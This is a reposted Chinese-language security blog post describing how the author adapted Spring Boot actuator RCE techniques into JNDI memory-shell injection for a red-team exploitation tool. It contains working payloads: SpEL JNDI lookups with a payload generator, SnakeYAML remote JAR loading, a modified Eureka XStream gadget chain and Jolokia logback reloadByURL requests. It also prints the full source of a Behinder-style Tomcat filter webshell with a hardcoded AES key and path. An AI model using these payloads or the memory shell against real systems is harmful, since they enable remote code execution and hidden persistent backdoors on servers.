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Spring Boot RCE到記憶體馬探索

2022-11-11 07:27:58 企業開發

前言

SpringBootVulExploit 是Spring Boot漏洞Check list，但在真正的環境中進行漏洞利用還是有一段距離的，因此衍生出了SpringBootExploit工具，本文是對該Check list到記憶體馬探索之路的記錄，再此程序中學到了很多知識，識訓了很多，感謝神父hl0rey對我指導，才有工具誕生，    

本文內容是筆者在看雪大會上演講的內容之一，本文應該在很早之前就發了，拖拖拉拉一直到現在，

漏洞歸類

Check list一共給出了十二種方法，我們首先歸類一下，看有那些共同點，

  1. JNDI注入
    1. 0x04：jolokia logback JNDI RCE
    2. 0x05：jolokia Realm JNDI RCE
    3. 0x07：h2 database console JNDI RCE
  2. Restart
    1. 0x06：restart h2 database query RCE
    2. 0x09：restart logging.config logback JNDI RCE
    3. 0x0A：restart logging.config groovy RCE
    4. 0x0B：restart spring.main.sources groovy RCE
    5. 0x0C：restart spring.datasource.data h2 database RCE
  3. 其他
    1. 0x01：whitelabel error page SpEL RCE
    2. 0x02：spring cloud SnakeYAML RCE
    3. 0x03：eureka xstream deserialization RCE
    4. 0x08：mysql jdbc deserialization RCE

分類標準，第一類是都可以直接使用JNDI注入的，第二類是都會將目標環境重啟啟動的，第三類是無法直接利用JNDI注入的，

第一類

第一類是最容易實作的JNDI記憶體馬注入的，遇到的問題也是最少的，

第二類

第二類是都需要對環境進行重啟操作，在測驗程序中很容易對環境造成不可逆的后果，所以對此并沒有進行整合，未來也不會集成，

第三類

第三類是無法直接利用JNDI，并且Check list說明里面都是反彈shell、彈計算器之類操作，這對于紅隊的是意義很小，

漏洞規范化

寫工具首先得每一個漏洞的Payload進行規范，目前支持所有的方式就是將第三類轉化支持JNDI注入的方式，將第三類漏洞進行轉化是繁瑣的作業，每一個漏洞目前網上公開的文章都是基于check list撰寫的，此程序中遇到很多問題，一度曾放棄幾種方式，一開始設想過支持回顯，但后來發現，反序列化執行操作都是用服務器發起了，無法做到回顯，壓根行不通，所有后面只做了記憶體馬，目前只支持一種記憶體馬后期會考慮支持更多型別的記憶體馬，

whitelabel error page SpEL RCE

SpEL RCE 最大問題就是如何用一句話的方式實作JNDI的方式，在**天下大木頭**的指導下我獲得提示：

javax.naming.InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");

根據上面嘗試，在測驗的程序遇到某名奇妙的一些問題，

public class spel {
    public static void main(String[] args) {
        String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";
        String rmi = "T(javax.naming.InitialContext).lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
        String ldap = "new javax.naming.InitialContext().lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
        String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))";
        String poc2 = "java.lang.Class.forName(\"javax.naming.InitialContext\").getMethod(\"lookup\", String.class).invoke(Class.forName(\"javax.naming.InitialContext\").newInstance(),\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(rmi);
        StandardEvaluationContext context = new StandardEvaluationContext();
        expression.getValue(context);


    }
}

使用payload rmi時會報找不到lookup方法
image-20211228173823526
使用payload poc2也報錯

image-20211228173906092

最終通過不斷嘗試payload ldap是有效，但這個漏洞利用方式沒在工具里集成，是因為SpEL漏洞存在有很多種情況，無法做到考慮完全，如果你發現此漏洞可以用該工具生成Payload打，

Payload 食用方法示例：http://127.0.0.1:9091/article?id=Payload
${new javax.naming.InitialContext().lookup(new String(new byte[]{ 
0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x
39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,
0x6c,0x33 }))}

payload生成代碼：

    public String SpelExpr(String cmd){

        String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";

        StringBuilder sb = new StringBuilder();
        char[] ch = cmd.toCharArray();
        for (int i=0 ; i<ch.length; i++){
            sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
            if (i != ch.length -1 ){
                sb.append(",");
            }
        }


        ldap += sb.append(" }))}").toString();
        System.out.println(ldap);
        return ldap;

    }

spring cloud SnakeYAML RCE

SnakeYaml RCE處理的比較特殊，一開始嘗試轉化JNDI的方法測驗失敗，JNDI注入其實是可以的，后期成功，但有一個問題POST /refresh的時候會回傳500，但注入是成功的（注入不成功也是，所以是無法很好的判斷），使用check list中的jar方式回傳是200，工具里面采用的是jar的方式，會判斷是否注入成功，

直接JNDI注入的代碼，

String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
    "  dataSourceName: \"ldap://127.0.0.1:1389/basic/TomcatMemShell3\"\n" +
    "  autoCommit: true";

服務器遠程加載jar，但這里有一個點，生成的jar要符合規范，和傳統的打包方式不一樣，這里要滿足某種規范（具體忘記了）artsploit/yaml-payload Y4er/yaml-payload 這里給出兩個專案參考生成包含記憶體馬jar，

String bytes = "!!javax.script.ScriptEngineManager [\n" +
    "  !!java.net.URLClassLoader [[\n" +
    "    !!java.net.URL [\"http://127.0.0.1:3456/behinder3.jar\"]\n" +
    "  ]]\n" +
    "]\n";

eureka xstream deserialization RCE

eureka xstream 反序列化漏洞本質是xstream反序列化漏洞，但有一點和傳統XStream漏洞利用有區別的是，eureka處理不了hashmap，得重新構造EXP，
This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the Marshalsec research. The only difference here is using LinkedHashSet to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a custom converter for maps which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints.
在exploiting-spring-boot-actuators中寫上面這段說明，大致意思就是eureka中不能使用hashmap，得替換成LinkedHashSet ，網上流傳的XStream的payload都是基于hashmap的，原文給的payload以及check list的payload都是彈計算器，不能進一步的深入利用，如何構造轉化成JNDI這一問題擺在我們面前，一開始踩了很多坑，后來發現YSOMAP里面集成了這個Payload，ysomap的使用方法大致類似于msf，如下圖，
image-20211228174026997

但生成的payload得小改一下（將HashMap改成LinkedHashSet ），經過多次測驗最終成形的payload如下：

<linked-hash-set>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value >
        <dataHandler>
          <dataSource >
            <is >
              <cipher >
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator >
                  <iter >
                    <iter />
                    <next  serialization="custom">
                      <javax.sql.rowset.BaseRowSet>
                        <default>
                          <concurrency>1008</concurrency>
                          <escapeProcessing>true</escapeProcessing>
                          <fetchDir>1000</fetchDir>
                          <fetchSize>0</fetchSize>
                          <isolation>2</isolation>
                          <maxFieldSize>0</maxFieldSize>
                          <maxRows>0</maxRows>
                          <queryTimeout>0</queryTimeout>
                          <readOnly>true</readOnly>
                          <rowSetType>1004</rowSetType>
                          <showDeleted>false</showDeleted>
                          <dataSource>rmi://127.0.0.1:10990/Calc</dataSource>
                          <listeners/>
                          <params/>
                        </default>
                      </javax.sql.rowset.BaseRowSet>
                      <com.sun.rowset.JdbcRowSetImpl>
                        <default>
                          <iMatchColumns>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                            <int>-1</int>
                          </iMatchColumns>
                          <strMatchColumns>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                            <null/>
                          </strMatchColumns>
                        </default>
                      </com.sun.rowset.JdbcRowSetImpl>
                    </next>
                  </iter>
                  <filter >
                    <method>
                      <class>com.sun.rowset.JdbcRowSetImpl</class>
                      <name>getDatabaseMetaData</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next >foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input />
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</linked-hash-set>

目前沒有集成這個漏洞，因為服務器端要構造一個flask框架的服務端，內容包含上面的xml檔案，
目前實作方式

  1. Java直接實作Flask框架 沒有現成的方式（放棄）
  2. Java直接呼叫命令執行python檔案（失敗，Java呼叫Runtime和cmd直接呼叫是有區別的）
  3. 使用jython執行python檔案，腳本依賴flask依賴，要加入flask目錄（不符合需求）

mysql jdbc deserialization RCE

此漏洞利用極其復雜，條件要求較多，

  1. 需要確認存在mysql驅動
  2. 版本需要5.x或者8.x
  3. 需要存在gadget依賴
  4. 記錄原本的spring.datasource.url 的value，最后恢復
  5. 需要架設惡意rogue mysql server

成功率低，需要多，故目前沒集成（后期可能會集成），

jolokia logback JNDI RCE

Payload

        String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps
                + ":3456!/a.xml";

a.xml

        String bytes = "<configuration>\n  <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":1389/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";

jolokia Realm JNDI RCE

這個RCE利用方式和上面一個差不多，存在jolokia logback JNDI RCE大概率存在jolokia Realm JNDI RCE漏洞，這里就不詳細展開，

h2 database console JNDI RCE

image-20211228174056470

服務端

所有的漏洞都是要使用JNDI和HTTP服務，如果每一個都是攻擊者進行使用將漏洞Payload進行適配，這會使得攻擊者使用成本和時間成本就大大增大了，這也不能達到一鍵化，自動化的目的，一個適配所有漏洞的服務端的工具就由此而生，在神父的幫助下，找到了專案JNDIExploit，

專案解決了大部分功能，以及框架等問題，這也使得工具很快的得到階段性的進展，
工具需求：

  1. 處理客戶端發送的Payload請求，回傳對應內容，

以jolokia logback JNDI RCE型別為例：
客戶端要請求xx.xml檔案，回傳如下內容

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
  1. 定制記憶體馬

和傳統記憶體馬注入有區別，JNDI是回傳Class檔案，直接實體化類，所以得定制化JNDI注入的記憶體馬類檔案，記憶體馬原始碼如下，

package com.feihong.ldap.template;

import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.coyote.RequestInfo;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class BehinderFilter extends ClassLoader implements Filter{
    public String cs = "UTF-8";
//    public String pwd = "eac9fa38330a7535";
    public String pwd = "02f2a5c80f47d495";
    public String path = "/ateam";
    public String filterName = "ateam666";
    public Request req = null;
    public Response resp = null;


    static {
        try {
            BehinderFilter behinderMemShell = new BehinderFilter();
            if (behinderMemShell.req != null && behinderMemShell.resp != null){
                behinderMemShell.addFilter();
            }
        } catch (Exception e){
        }
    }


    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }

    public String md5(String s) {
        String ret = null;
        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
        } catch (Exception var4) {
        }
        return ret;
    }

    public BehinderFilter()  {
        this.setParams();
    }

    public BehinderFilter(ClassLoader c) {
        super(c);
        this.setParams();
    }


    public void setParams(){
        try {
            boolean flag = false;
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
            for (int i=0;i<threads.length;i++){
                Thread thread = threads[i];
                if (thread != null){
                    String threadName = thread.getName();
                    if (!threadName.contains("exec") && threadName.contains("http")){
                        Object target = getField(thread,"target");
                        Object global = null;
                        if (target instanceof Runnable){
                            try {
                                global = getField(getField(getField(target,"this$0"),"handler"),"global");
                            } catch (NoSuchFieldException fieldException){
                                fieldException.printStackTrace();
                            }
                        }
                        if (global != null){
                            List processors = (List) getField(global,"processors");
                            for (i=0;i<processors.size();i++){
                                RequestInfo requestInfo = (RequestInfo) processors.get(i);
                                if (requestInfo != null){
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) getField(requestInfo,"req");
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    Response response = request.getResponse();
                                    this.req = request;
                                    this.resp = response;
                                    flag = true;
                                    break;
                                }
                            }
                        }
                    }
                }
                if (flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }


    public String addFilter() throws Exception {
        ServletContext servletContext = this.req.getServletContext();
        Filter filter = this;
        String filterName = this.filterName;
        String url = this.path;
        if (servletContext.getFilterRegistration(filterName) == null) {
            Field contextField = null;
            ApplicationContext applicationContext = null;
            StandardContext standardContext = null;
            Field stateField = null;
            FilterRegistration.Dynamic filterRegistration = null;

            String var11;
            try {
                contextField = servletContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                applicationContext = (ApplicationContext)contextField.get(servletContext);
                contextField = applicationContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                standardContext = (StandardContext)contextField.get(applicationContext);
                stateField = LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, LifecycleState.STARTING_PREP);
                filterRegistration = servletContext.addFilter(filterName, filter);
                filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                filterStartMethod.setAccessible(true);
                filterStartMethod.invoke(standardContext, (Object[])null);
                stateField.set(standardContext, LifecycleState.STARTED);
                var11 = null;

                Class filterMap;
                try {
                    filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                } catch (Exception var22) {
                    filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                }

                Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
                Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext)));
                for(int i = 0; i < filterMaps.length; ++i) {
                    Object filterMapObj = filterMaps[i];
                    findFilterMaps = filterMap.getMethod("getFilterName");
                    String name = (String)findFilterMaps.invoke(filterMapObj);
                    if (name.equalsIgnoreCase(filterName)) {
                        filterMaps[i] = filterMaps[0];
                        filterMaps[0] = filterMapObj;
                    }
                }
                String var25 = "Success";
                String var26 = var25;
                return var26;
            } catch (Exception var23) {
                var11 = var23.getMessage();
            } finally {
                stateField.set(standardContext, LifecycleState.STARTED);
            }

            return var11;
        } else {
            return "Filter already exists";
        }
    }

    public static Object getField(Object obj, String fieldName) throws Exception {
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }



    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpSession session = ((HttpServletRequest)req).getSession();
        Map obj = new HashMap();
        obj.put("request", req);
        obj.put("response", resp);
        obj.put("session", session);
        try {
            session.putValue("u", this.pwd);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(this.pwd.getBytes(), "AES"));
            (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
        } catch (Exception var7) {
            var7.printStackTrace();
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
        } catch (Exception var5) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
            return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
        }
    }

    @Override
    public void destroy() {

    }
}
 

總結

可能是大多數人沒有需求，或者是安全研究員沒有打紅隊的原因，導致利用方式普遍都是以彈計算器為最終結果，不能進一步深入利用，導致很多漏洞不了了之，目前網上普遍分析文章，復現文章都是以彈計算器結束，但這其實與實戰化的需求還存在著很遠的一段路程，
寫工具的時候遇到很多奇奇怪怪的問題，如果這些漏洞都能以高級漏洞利用的方式，或者不是執行命令但計算器的方式結束，其實會好很多，當然這些漏洞目前都是間接或者直接轉化成JNDI的方式進行漏洞利用，這雖然也存在一定的局限性，但我覺得這是一個開端，后續有人肯定有跟多的奇思妙想的解決方案，

參考

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://github.com/LandGrey/SpringBootVulExploit
https://github.com/wh1t3p1g/ysomap

 

轉載請註明出處，本文鏈接：https://www.uj5u.com/qiye/531502.html

標籤：訊息安全

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